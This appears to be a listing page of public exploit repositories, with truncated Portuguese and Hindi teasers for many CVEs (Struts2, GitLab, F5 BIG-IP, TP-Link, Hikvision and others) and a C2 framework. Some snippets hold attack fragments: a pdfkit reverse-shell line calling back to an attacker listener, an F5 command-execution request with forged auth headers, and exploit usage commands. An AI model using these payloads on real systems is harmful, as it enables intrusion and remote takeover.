CVE-2019-12744

CVE-2019-12744 Informações Título do exploit: Execução Remota de Comandos por meio de Upload de Arquivo Não Validado em SeedDMS versões 5.1.11 CVE: CVE-2019-12744 Homepage do fornecedor: https://www.seeddms.org/index.php?id=2 Autor do exploit: NobodyAtall Versão testada: Seeddms 5.1.10, 5.0.11 SO...

GRAT2

GRAT2 C2 c.-.c c.-.c c.-.c c.-.c c.-.c / .. \ / .. \ / .. \ / .. \ / .. \ \ Y / \ Y / \ Y / \ Y / \ Y / .-/'-'-..-/'-'-..-/'-'-..-/'-'-..-/'-'-. || G || || R || || A || || T || || 2 || .' -' '. .' -' '. .' -' '. .' -' '. .' -' '. .-./-'.-..-./-.-..-./-'.-..-./-'.-..-./-'.-. -' -' -' -' -'...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 ferramenta de detecção e exploração de vulnerabilidade de execução remota de código Insira o domínio ou ip:porta para realizar a detecção de vulnerabilidade Para alvos com vulnerabilidade detectada, pode ser realizada exploração de execução de comand...

CVE-2021-22205

CVE-2021-22205 Devido ao GitLab não validar corretamente os arquivos de imagem passados para o analisador de arquivos, resulta em execução de comandos. Um atacante pode construir requisições maliciosas para explorar esta vulnerabilidade e executar comandos arbitrários no sistema alvo, levando ao...

CVE-2019-6446

CVE-2019-6446 Execução de comandos por desserialização do NumPy NumPy é uma biblioteca Python poderosa, usada principalmente para realizar cálculos em arrays multidimensionais. Especialistas analisam que as versões menores ou iguais a 1.16.0 contêm essa vulnerabilidade. A sugestão de correção é...

firepwner

CVE-2015-6357: Exploit FirePWNER para a Vulnerabilidade de Validação SSL do Cisco FireSIGHT Management Center Introdução Por si só, a Vulnerabilidade de Validação de Certificado do Cisco FireSIGHT Management Center3 é uma vulnerabilidade de gravidade média com CVSS de 5.1. No entanto, esta...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Shell-Reverso pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modifique valores em negrito: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2021-31805

CVE-2021-31805 1. Introdução POC & EXP da vulnerabilidade de execução remota de comandos no Struts2 CVE-2020-17530 & CVE-2021-31805 2. Uso Introdução dos parâmetros -u url alvo -m dnslog|exp // padrão com verificação de caractere na interface de retorno -n s2-062 // padrão s2-061 -s windows //...

bitbucket-cve-2022-36804

bitbucket-cve-2022-36804 CVE-2022-36804 Vulnerabilidade de Injeção de Comandos no Atlassian Bitbucket POC Siga-nos YouTube Twitter Facebook LinkedIn...

CVE-2025-54100

CVE-2025-54100 – PowerShell प्रतिक्रिया पार्सिंग PoC एक संक्षिप्त प्रूफ-ऑफ-कॉन्सेप्ट जो दिखाता है कि कैसे CVE-2025-54100 दुर्भावनापूर्ण HTML पार्सिंग के माध्यम से Windows PowerShell 5.1 में रिमोट कोड निष्पादन RCE का कारण बन सकता है। विषय-सूची CVE-2025-54100 क्या है? PoC कैसे काम करता है त्वरित...

polymorph

Polymorph Polymorph is a tool that facilitates the modification of network traffic on the fly by allowing the execution of Python code on network packets that are intercepted in real time. This framework can be used to modify in real time network packets that implement any publicly specified...

CVE-2023-33538

Exploit em Python para Vulnerabilidade de Injeção de Comandos em TP-Link TL-WR940N/TL-WR841N Instruções de Uso 1. Verificação Básica de Vulnerabilidade : python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. Executar Comando Personalizado : python tplinkexploit.py -t 192.168.1.1 -u admin -p...

CVE-2026-39987

CVE-2026-39987 - marimo टर्मिनल WebSocket प्रमाणीकरण बायपास poc अवलोकन इस रिपॉज़िटरी में CVE-2026-39987 शामिल है जो 0.23.0 से पहले के marimo संस्करणों को प्रभावित करता है। यह भेद्यता टर्मिनल WebSocket एंडपॉइंट में मौजूद है, जहाँ अपर्याप्त प्रमाणीकरण प्रवर्तन कुछ तैनाती स्थितियों में बिना प्रमाणीक...

CVE-2024-3640_WafBypass

CVE-2024-3640 WafBypass Exploração do plugin woodpacker A forma de bypass é na verdade inserir comentários XML para contornar palavras-chave. Detecção de atraso Execução de comando com retorno Webshell personalizado na memória...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker कंटेनर कमांड निष्पादन उपकरण CVE-2025-9074 भेद्यता के सुरक्षा अनुसंधान और परीक्षण के लिए एक शक्तिशाली Docker रिमोट API शोषण उपकरण। मुख्य लाभ ✅ पूर्णतः स्वचालित कंटेनर जीवनचक्र प्रबंधन : अस्थायी कंटेनर स्वचालित रूप से बनाता है, ऑपरेशन पूरा होने के बाद स्वचालित रूप से साफ करता ह...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 POC vulnerabilidade de injeção de comandos no servidor web de alguns produtos Hikvision. Devido à validação insuficiente de entrada, um atacante pode explorar a vulnerabilidade para lançar um ataque de injeção de comandos enviando algumas mensagens com comandos...

CVE-2025-27590

CVE-2025-27590 - PoC शोषण मल्टीपार्ट फ़ॉर्म अपलोड के माध्यम से कमांड इंजेक्शन 📌 विवरण यह CVE-2025-27590 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC शोषण है, जो एक कमांड इंजेक्शन भेद्यता है जो वेब अनुप्रयोगों को प्रभावित करती है जो उचित स्वच्छता के बिना मल्टीपार्ट फ़ाइल अपलोड को संसाधित करते हैं। यह भेद्यता...

cve-2018-1002105

Isto foi modificado a partir de https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/. Todo o crédito vai para as simpáticas pessoas da Gravitational. O código PoC original foi modificado para ir além de apenas verificar a vulnerabilidade e realmente executar um...

sshpass-win32

sshpass-win32 Como https://linux.die.net/man/1/sshpass Pré-requisitos Para executar o sshpass, você deve instalar: Windows 10 Insider build 17733 ou posterior Instalação Winget winget install xhcoding.sshpass-win32 Scoop scoop install sshpass Uso Usage: sshpass options command arguments -h, --hel...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...